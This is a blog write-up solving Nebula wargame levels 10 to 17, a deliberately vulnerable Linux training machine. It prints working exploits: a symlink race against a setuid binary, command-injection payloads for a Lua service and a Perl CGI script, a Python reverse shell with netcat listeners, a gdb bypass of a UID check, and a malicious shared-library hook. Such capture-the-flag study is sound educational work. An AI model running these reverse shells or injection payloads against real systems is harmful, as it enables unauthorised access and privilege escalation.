Preface

In the last blog post I covered the Nebula Wargame levels from 0 to 9. Now I will try to solve the levels 10 to 19. In this blog post I am sharing my thoughts by trying to solve these linux shell exploit exercises.

Level 10 - Race conditions in network applications

This level was quite hard for me, compared to the other levels before!

There are two files in the /home/flag10 directory:

  • The /home/flag10/flag10 setuid binary
  • A token file which we want to read

The setuid binary was compiled from the following code:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
    exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
    int fd;
    int ffd;
    int rc;
    struct sockaddr_in sin;
    char buffer[4096];

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

    fd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&sin, 0, sizeof(struct sockaddr_in));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(host);
    sin.sin_port = htons(18211);

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
      printf("Unable to connect to host %s\n", host);
      exit(EXIT_FAILURE);
    }

#define HITHERE ".oO Oo.\n"
    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
      printf("Unable to write banner to host %s\n", host);
      exit(EXIT_FAILURE);
    }
#undef HITHERE

    printf("Connected!\nSending file .. "); fflush(stdout);

    ffd = open(file, O_RDONLY);
    if(ffd == -1) {
      printf("Damn. Unable to open file\n");
      exit(EXIT_FAILURE);
    }

    rc = read(ffd, buffer, sizeof(buffer));
    if(rc == -1) {
      printf("Unable to read from file: %s\n", strerror(errno));
      exit(EXIT_FAILURE);
    }

    write(fd, buffer, rc);

    printf("wrote file!\n");

  } else {
    printf("You don't have access to %s\n", file);
  }
}
}

Only after reading the notes in man access it became clear to me how to attack this application. In the manual notes, it is written:

Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call open(2).)

So we are going to exploit the fact that we can change the target of a symbolic (or static) link between the access() and open() system call! The fact that the connect() system call is between the both makes it even more simple, because usually, connect() needs some time to finish.

My exploit is written in Python. I guess you could create a much simpler version in some lines of shell code (like using netcat). But sometimes it's also important to write your own socket programs to exercise a bit.

#!/usr/bin/python

import os
import socket
import threading
import subprocess
import time
import sys
import signal

ip = '192.168.56.101'

def run_server():
    pid = os.getpid()
    try:
        address = (ip, 18211)
        print('[i] About to run server on {}'.format(address))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(address)
        s.listen(5)

        while True:
            conn, address = s.accept()
            t = threading.Thread(target=handle_connection, args=(conn, address, pid))
            t.start()

    except KeyboardInterrupt:
        if s:
            s.close()
        sys.exit('Pressed Ctrl-C. Exiting...')

def handle_connection(conn, address, serverpid):
    print('Incoming connection from {}'.format(address))
    # wait a second before receiving data
    time.sleep(1)
    banner = conn.recv(1024)    
    print(banner)

    token_contents = conn.recv(1024)
    print(token_contents)

    if token_contents.strip():
        os.kill(serverpid, signal.SIGKILL)


def race_condition():
    """
    First create a symbolic link to a file which we own
    to bypass the access() check, then change the link to
    the /home/flag10/token after access() was executed.
    """
    os.chdir('/home/level10/')

    # create a file that user level10 owns
    os.system('echo "bla " >> /tmp/testfile')

    # create a link to the previously created file 
    os.system('ln -s -f /tmp/testfile /home/level10/link')

    # call the setuid binary in a non blocking fashion
    subprocess.Popen(['/home/flag10/flag10 /home/level10/link ' + ip], shell=True, 
                stdin=None, stdout=None, stderr=None, close_fds=True)

    # lets hope that access was alraedy executed but read() wasnt't
    # because the connection is still awaiting to get accepted.
    # then change the link location to the token file :)
    os.system('ln -s -f /home/flag10/token /home/level10/link')


def main():
    server = threading.Thread(target=run_server)
    server.start()

    race_condition()

if __name__ == '__main__':
    main()

When calling the above program, it sometimes works, and sometimes it doesn't. It's probably because the connect() call takes different amount of times. On a successful execution we get:

level10@nebula:~$ python exploit.py 
[i] About to run server on ('192.168.56.101', 18211)
Connecting to 192.168.56.101:18211 .. Connected!
Sending file .. wrote file!
Incoming connection from ('192.168.56.101', 41962)
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27


^Z
[1]+  Stopped(SIGTSTP)        python exploit.py

Testing the password:

level10@nebula:~$ su flag10
Password: 
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Level 11 - Exploiting with limited character lengths

The source code for the setuid binary in this level looks like the following:

include <stdlib.h>
include <unistd.h>
include <string.h>
include <sys/types.h>
include <fcntl.h>
include <stdio.h>
include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 
    'A' + (random() % 26), '0' + (random() % 10), 
    'a' + (random() % 26), 'A' + (random() % 26),
    '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
      err(1, "fread length");
    }
    process(buf, length);
  } else {
    int blue = length;
    int pink;

    fd = getrand(&path);

    while(blue > 0) {
      printf("blue = %d, length = %d, ", blue, length);

      pink = fread(buf, 1, sizeof(buf), stdin);
      printf("pink = %d\n", pink);

      if(pink <= 0) {
        err(1, "fread fail(blue = %d, length = %d)", blue, length);
      }
      write(fd, buf, pink);

      blue -= pink;
    }

    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED) {
      err(1, "mmap");
    }
    process(mem, length);
   }

}

This level is not as easy as it seems first. There should be two ways to exploit this code. The first way reads one byte of data into a buffer and then calls process(buf) on it. process() xors the buffer contents with itself and a key. So we can easily execute one byte/char with system. But how to call getflag with it?

See the question here http://stackoverflow.com/questions/556194/calling-a-script-from-a-setuid-root-c-program-script-does-not-run-as-root

What I tried was the following:

# Change to the flag account
cd /home/flag11
# create a bash script in the /home/level11 directory
echo -e '#!/bin/bash\n/bin/sh' > ~/s
# make it executable
chmod +x ~/s
# set the path to include our home directory
PATH=$PATH:/home/level11/
# execute the flag11 binary with the payload such that process will execute
# system('s'). The char 'r' will be xored with 1, which yields 's'
# you need to repeat this some times until the proper payload is executed.
python -c 's = "Content-Length: 1\nr"; print(s);' | ./flag11

But It seems like system() doesn't interpret setuid scripts...

I tried it with a C program instead of a bash script, compiled it and saved the executable to ~/s and tried it again:

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv) {
    // flag11 is 988, level11 is 1012
    uid_t euid = geteuid();

    if (setresuid(euid, euid, euid) == -1) {
        printf("Couldn't set euid and ruid\n");
    }
    printf("* getuid()=%d, geteuid()=%d\n", getuid(), geteuid());
    system("/bin/bash");

    return 0;
}


:::bash
level11@nebula:/home/flag11$ python -c 's = "Content-Length: 1\nr"; print(s);' | ./flag11 
Couldn't set euid and ruid
* getuid()=1012, geteuid()=1012

Still doesn't work. This is a bug. The setuid C program should probably not call system(), because as man 3 system states:

system() will not, in fact, work properly from programs with set-user-ID or set-group-ID privileges on systems on which /bin/sh is bash version 2, since bash 2 drops privileges on startup.

See here a proof that there is a bug: http://73696e65.github.io/blog/2015/06/18/exploit-exercises-nebula-11-15/

There's the second way to exploit this vulnerability, when the input is longer than 1024 bytes. For this you need to pre-encode the payload with the reverse of the process() algorithm. I didn't do this, because it works very similar to the previous approach.

Level 12 - Command Injections in double quoted strings

This level is about a simple command injection vulnearability in Lua. The code of the vulnearble program is below:

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password) 
    prog = io.popen("echo "..password.." | sha1sum", "r")
    data = prog:read("*all")
    prog:close()

    data = string.sub(data, 1, 40)

    return data
end


while 1 do
    local client = server:accept()
    client:send("Password: ")
    client:settimeout(60)
    local line, err = client:receive()
    if not err then
        print("trying " .. line) -- log from where ;\
        local h = hash(line)

        if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
            client:send("Better luck next time\n");
        else
            client:send("Congrats, your token is 413**CARRIER LOST**\n")
        end

    end

    client:close()
end

In opens a server on localhost:50001 and asks for a password. The password then is hashed with some bash utilites in a popen() call and compared with the sha1 sum 4754a4f4bd5787accd33de887b9250a0691dd198. But of course we don't need to find the password that is hashed to the target hash. We can just inject a command and then launch a backdor.

To exploit it, I created a simple connect back backdoor (reverse backdoor) script in Python (inspred by http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet):

#!/usr/bin/python
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Then I saved it to /tmp/bd.py and launched the attack:

# first start listening for incoming backdoor connections
nc -l localhost 8888
# then attack in a different shell terminal
cd /home/flag12
echo -e '$(/tmp/bd.py)\n' | nc localhost 50001

The overall payload that is executed on the Lua script becomes echo $(/tmp/bd.py) | sha1sum which will substitute and execute the string between $(..) and thus execute the backdoor:

level12@nebula:~$ netcat -l localhost 8888
sh: no job control in this shell
sh-4.2$ getflag
getflag
You have successfully executed getflag on a target account
sh-4.2$

Level 13 - Using gdb to trace a program

In this level the code checks whether we are id 1000. If so, it proceeds to give us a access token for the flag13 account. But the token must be somewhere in the binary, otherwise it couldn't be printed out (assuming it isn't retrieved from somewhere else).

A quick check with strings flag13 shows us:

level13@nebula:/home/flag13$ strings flag13 
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
puts
__stack_chk_fail
printf
getuid
__libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRhp
UWVS
[^_]
Security failure detected. UID %d started us, we expect %d
The system administrators will be notified of this violation
8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob
your token is %s
;*2$"(

The string 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob looks like a token. But it isn't the password for the flag13 account.

So let's play with the binary with gdb and disassemble it:

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x080484c4 <+0>:    push   ebp
0x080484c5 <+1>:    mov    ebp,esp
0x080484c7 <+3>:    push   edi
0x080484c8 <+4>:    push   ebx
0x080484c9 <+5>:    and    esp,0xfffffff0
0x080484cc <+8>:    sub    esp,0x130
0x080484d2 <+14>:   mov    eax,DWORD PTR [ebp+0xc]
0x080484d5 <+17>:   mov    DWORD PTR [esp+0x1c],eax
0x080484d9 <+21>:   mov    eax,DWORD PTR [ebp+0x10]
0x080484dc <+24>:   mov    DWORD PTR [esp+0x18],eax
0x080484e0 <+28>:   mov    eax,gs:0x14
0x080484e6 <+34>:   mov    DWORD PTR [esp+0x12c],eax
0x080484ed <+41>:   xor    eax,eax
0x080484ef <+43>:   call   0x80483c0 <getuid@plt>
0x080484f4 <+48>:   cmp    eax,0x3e8
0x080484f9 <+53>:   je     0x8048531 <main+109>
0x080484fb <+55>:   call   0x80483c0 <getuid@plt>
0x08048500 <+60>:   mov    edx,0x80486d0
0x08048505 <+65>:   mov    DWORD PTR [esp+0x8],0x3e8
0x0804850d <+73>:   mov    DWORD PTR [esp+0x4],eax
0x08048511 <+77>:   mov    DWORD PTR [esp],edx
0x08048514 <+80>:   call   0x80483a0 <printf@plt>
0x08048519 <+85>:   mov    DWORD PTR [esp],0x804870c
0x08048520 <+92>:   call   0x80483d0 <puts@plt>
0x08048525 <+97>:   mov    DWORD PTR [esp],0x1
0x0804852c <+104>:  call   0x80483f0 <exit@plt>
0x08048531 <+109>:  lea    eax,[esp+0x2c]
0x08048535 <+113>:  mov    ebx,eax
0x08048537 <+115>:  mov    eax,0x0
0x0804853c <+120>:  mov    edx,0x40
0x08048541 <+125>:  mov    edi,ebx
0x08048543 <+127>:  mov    ecx,edx
0x08048545 <+129>:  rep stos DWORD PTR es:[edi],eax
0x08048547 <+131>:  mov    edx,0x804874c
0x0804854c <+136>:  lea    eax,[esp+0x2c]
0x08048550 <+140>:  mov    ecx,DWORD PTR [edx]
0x08048552 <+142>:  mov    DWORD PTR [eax],ecx
0x08048554 <+144>:  mov    ecx,DWORD PTR [edx+0x4]
0x08048557 <+147>:  mov    DWORD PTR [eax+0x4],ecx
0x0804855a <+150>:  mov    ecx,DWORD PTR [edx+0x8]
0x0804855d <+153>:  mov    DWORD PTR [eax+0x8],ecx
0x08048560 <+156>:  mov    ecx,DWORD PTR [edx+0xc]
0x08048563 <+159>:  mov    DWORD PTR [eax+0xc],ecx
0x08048566 <+162>:  mov    ecx,DWORD PTR [edx+0x10]
0x08048569 <+165>:  mov    DWORD PTR [eax+0x10],ecx
0x0804856c <+168>:  mov    ecx,DWORD PTR [edx+0x14]
0x0804856f <+171>:  mov    DWORD PTR [eax+0x14],ecx
0x08048572 <+174>:  mov    ecx,DWORD PTR [edx+0x18]
0x08048575 <+177>:  mov    DWORD PTR [eax+0x18],ecx
0x08048578 <+180>:  mov    ecx,DWORD PTR [edx+0x1c]
0x0804857b <+183>:  mov    DWORD PTR [eax+0x1c],ecx
0x0804857e <+186>:  mov    ecx,DWORD PTR [edx+0x20]
0x08048581 <+189>:  mov    DWORD PTR [eax+0x20],ecx
0x08048584 <+192>:  movzx  edx,BYTE PTR [edx+0x24]
0x08048588 <+196>:  mov    BYTE PTR [eax+0x24],dl
0x0804858b <+199>:  mov    DWORD PTR [esp+0x28],0x0
0x08048593 <+207>:  jmp    0x80485b4 <main+240>
0x08048595 <+209>:  lea    eax,[esp+0x2c]
0x08048599 <+213>:  add    eax,DWORD PTR [esp+0x28]
0x0804859d <+217>:  movzx  eax,BYTE PTR [eax]
0x080485a0 <+220>:  mov    edx,eax
0x080485a2 <+222>:  xor    edx,0x5a
0x080485a5 <+225>:  lea    eax,[esp+0x2c]
0x080485a9 <+229>:  add    eax,DWORD PTR [esp+0x28]
0x080485ad <+233>:  mov    BYTE PTR [eax],dl
0x080485af <+235>:  add    DWORD PTR [esp+0x28],0x1
0x080485b4 <+240>:  lea    eax,[esp+0x2c]
0x080485b8 <+244>:  add    eax,DWORD PTR [esp+0x28]
0x080485bc <+248>:  movzx  eax,BYTE PTR [eax]
0x080485bf <+251>:  test   al,al
0x080485c1 <+253>:  jne    0x8048595 <main+209>
0x080485c3 <+255>:  mov    eax,0x8048771
0x080485c8 <+260>:  lea    edx,[esp+0x2c]
0x080485cc <+264>:  mov    DWORD PTR [esp+0x4],edx
0x080485d0 <+268>:  mov    DWORD PTR [esp],eax
0x080485d3 <+271>:  call   0x80483a0 <printf@plt>
0x080485d8 <+276>:  mov    edx,DWORD PTR [esp+0x12c]
0x080485df <+283>:  xor    edx,DWORD PTR gs:0x14
0x080485e6 <+290>:  je     0x80485ed <main+297>
0x080485e8 <+292>:  call   0x80483b0 <__stack_chk_fail@plt>
0x080485ed <+297>:  lea    esp,[ebp-0x8]
0x080485f0 <+300>:  pop    ebx
0x080485f1 <+301>:  pop    edi
0x080485f2 <+302>:  pop    ebp
0x080485f3 <+303>:  ret

As you can see the assembly shows us that in the following snippet it is decided whether the call to getuid() returns 1000 or not:

0x080484f4 <+48>:   cmp    eax,0x3e8
0x080484f9 <+53>:   je     0x8048531 <main+109>

If the jump is taken, we continue at main+109. There, some decoding happens. In fact, the lines:

0x08048547 <+131>:  mov    edx,0x804874c
0x0804854c <+136>:  lea    eax,[esp+0x2c]

grab the string 8mjomjh8wml;bwnh8jwbbnnwi;>;88?o;9ob from the .data section and prepare some buffer on the stack for further processing. I don't exactly what decoding happens in the following mov statements, but it is the reason why the token doesn't work right away as login password for the flag13 account. It is first transformed. Anyways, we just set the eax flag to contain 1000 instead of our getuid() return value to circumwent the check and let the program decode the token for us:

level13@nebula:/home/flag13$ gdb flag13 
GNU gdb (Ubuntu/Linaro 7.3-0ubuntu2) 7.3-2011.08
<...snipp...>
(gdb) break *(main+48)
Breakpoint 1 at 0x80484f4
(gdb) r
Starting program: /home/flag13/flag13

Breakpoint 1, 0x080484f4 in main ()
(gdb) i r
eax            0x3f6    1014
ecx            0xbfa37f54   -1079804076
edx            0xbfa37ee4   -1079804188
ebx            0x287ff4 2654196
esp            0xbfa37d80   0xbfa37d80
ebp            0xbfa37eb8   0xbfa37eb8
esi            0x0  0
edi            0x0  0
eip            0x80484f4    0x80484f4 <main+48>
eflags         0x282    [ SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51
(gdb) set $eax = 1000
(gdb) continue
Continuing.
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
[Inferior 1 (process 2096) exited with code 063]
(gdb) quit
level13@nebula:/home/flag13$ su flag13
Password: 
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Level 14 - Decryping simple enryption

This level is also quite easy. The setuid binary /home/flag14/flag14 encrypts input. When we call the application ./flag14 -e and always enter the same character and press escape, we see that the app outputs always the next character.

Then we have a file with a encrypted token for the account flag14.

level14@nebula:/home/flag14$ xxd token 
0000000: 3835 373a 6736 373f 3541 4242 6f3a 4274  857:g67?5ABBo:Bt
0000010: 4441 3f74 4976 4c44 4b4c 7b4d 5150 5352  DA?tIvLDKL{MQPSR
0000020: 5157 572e 0a                             QWW..

To decrypt it, I created a simple python script the reverses the encryption logic:

#!/usr/bin/python

def decrypt(s):
    """
    Each input character is encoded like this:
    enc(char_i) = chr(ord(char) + i)

    This means that the first input character is mapped to itself and the
    nth character is mapped to enc(char_n) = chr(ord(char) + n)
    """

    out = ''
    for i, c in enumerate(s):
        out += chr(ord(c) - i)

    return out


def main():
    print decrypt('857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW\x2e')


main()

Executing this yields the token 8457c118-887c-4e40-a5a6-33a25353165 which is the password for the flag14 account.

Level 15 - Injecting own shared libraries

When we call /home/flag15/flag15 it outputs

strace it!

So I straced it:

level15@nebula:/home/flag15$ strace ./flag15 
execve("./flag15", ["./flag15"], [/* 28 vars */]) = 0
brk(0)                                  = 0x8750000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7879000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfe04ec4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=60, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7870000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb786f000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb786f8d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x8e6000, 4096, PROT_READ)     = 0
munmap(0xb7870000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7878000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?

As you can see the dynamic linker tries to load the libc from the directory /var/tmp/flag15/. This is a very unusual path and a quick check reveals that this directory is owned by user level15, which means we can write to it.

level15@nebula:/home/flag15$ ls -dl /var/tmp/flag15/
drwxrwxr-x 1 level15 level15 60 Oct  4 13:59 /var/tmp/flag15/

After having tried some paths in /var/tmp/flag15/, the dynamic linker finally finds it libc in /lib/i386-linux-gnu/libc.so.6 and loads it into memory:

open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512

The basic idea is to create our own libc and patch the puts() function that is used. As we can see in the strace output, the string strace it! is written with the write() function call at the end.

What if we could patch the write() system call?

Let's try it. I created the following C program:

#include <stdlib.h>
#include <stdio.h>

#define _GNU_SOURCE

int write(int fd, const char* buf) {
    if (strcmp(buf, "strace it!\n") == 0) {
        printf("Inside hook!\n");
        system("/bin/getflag >> /tmp/flagged");
    }
    return 0;
}

and issued the following commands:

level15@nebula:/home/flag15$ cat /tmp/write.c
#include <stdlib.h>
#include <stdio.h>

#define _GNU_SOURCE

int write(int fd, const char* buf) {
    if (strcmp(buf, "strace it!\n") == 0) {
        printf("Inside hook!\n");
        system("/bin/getflag >> /tmp/flagged");
    }
    return 0;
}
level15@nebula:/home/flag15$ gcc -Wall -fPIC -shared -o /var/tmp/flag15/libc.so.6 /tmp/write.c 
/tmp/write.c: In function write:
/tmp/write.c:7:2: warning: implicit declaration of function strcmp [-Wimplicit-function-declaration]
level15@nebula:/home/flag15$ ./flag15 
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by ./flag15)
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
./flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
./flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

Seems like it isn't so easy to create a own libc. But this is definitely the correct direction to investigate further.

Level 16 - exploiting with uppercase only charset

In this level we need to exploit a cgi web application that is written in Perl.

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
    $username = $_[0];
    $password = $_[1];

    $username =~ tr/a-z/A-Z/;   # conver to uppercase
    $username =~ s/\s.*//;      # strip everything after a space

    @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
    foreach $line (@output) {
        ($usr, $pw) = split(/:/, $line);


        if($pw =~ $password) { 
            return 1;
        }
    }

    return 0;
}

sub htmlz {
    print("<html><head><title>Login resuls</title></head><body>");
    if($_[0] == 1) {
        print("Your login was accepted<br/>");
    } else {
        print("Your login failed<br/>");
    }   
    print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

The web app will execute a command egrep "^$username" /home/flag16/userdb.txt 2>&1 where username can be passed as a GET parameter. But before it is substituted in the above command, the username variable is transformed to uppercase and all spaces (and chars which follow them) are removed.

So our payload will be uppercase and without spaces. This means we cannot create a shell script in /tmp to run a arbitrary script, because paths are of course case sensitive.

And we cannot alter environment variables in the /home/flag16 directory, nor can we write in the document root (also flag16 home dir). So how can we exploit this at all?

After some minutes of pure confusion, I tried to craft paths with bash wildcards. So I tried to execute a program in temp without using lower space chars.

First I created a simple test script:

level16@nebula:~$ cat /tmp/SLEEPY.SH 
#!/bin/bash
sleep 5

Then I created a short Python program to request the cgi script:

#!/usr/bin/python

import urllib2
from urllib import quote

host = '192.168.56.101:1616'
uri = 'http://{}/index.cgi?username={}&password={}'.format(host, quote('$(/*/SLEEPY.sh)', safe=''), '')

request = urllib2.urlopen(uri)
# should take at least 5 seconds if the code is executed
print request.read()

It worked! The payload /*/OURCODE.SH will execute the program in the /tmp/ directory. Now I created a simple POC script:

# create POC script 
echo -e '#!/bin/bash\ngetflag > /tmp/gotflag' > /tmp/FLAG.SH
chmod +x /tmp/FLAG.SH

And requested the url with the payload:

http://192.168.56.101:1616/index.cgi?username=%24%28%2F%2A%2FFLAG.SH%29&password=

It worked!

level16@nebula:~$ cat /tmp/gotflag 
You have successfully executed getflag on a target account

To get a shell, start netcat on your host computer and create a reverse shell in the /tmp dir in the nebula host:

# on host pc
nc -l 192.168.56.1 8888

# on nebula host
level16@nebula:~$ cat /tmp/BD.PY 
#!/usr/bin/python
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.1",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
level16@nebula:~$ chmod +x /tmp/BD.PY

And request the url with the payload:

http://192.168.56.101:1616/index.cgi?username=%24%28%2F%2A%2FBD.PY%29&password=

Getting us a shell:

sh-4.2$ id
id
uid=983(flag16) gid=983(flag16) groups=983(flag16)
sh-4.2$ getflag
getflag
You have successfully executed getflag on a target account

Another approach would be to use case modifications in shell expansions: case modifications

Level 17 - RCE with pickle

This level is quite similar to a previous level where we exploited serialize() in PHP.

Pickle is a simple object serialization algortihm that transforms Python objects to strings and vice versa.

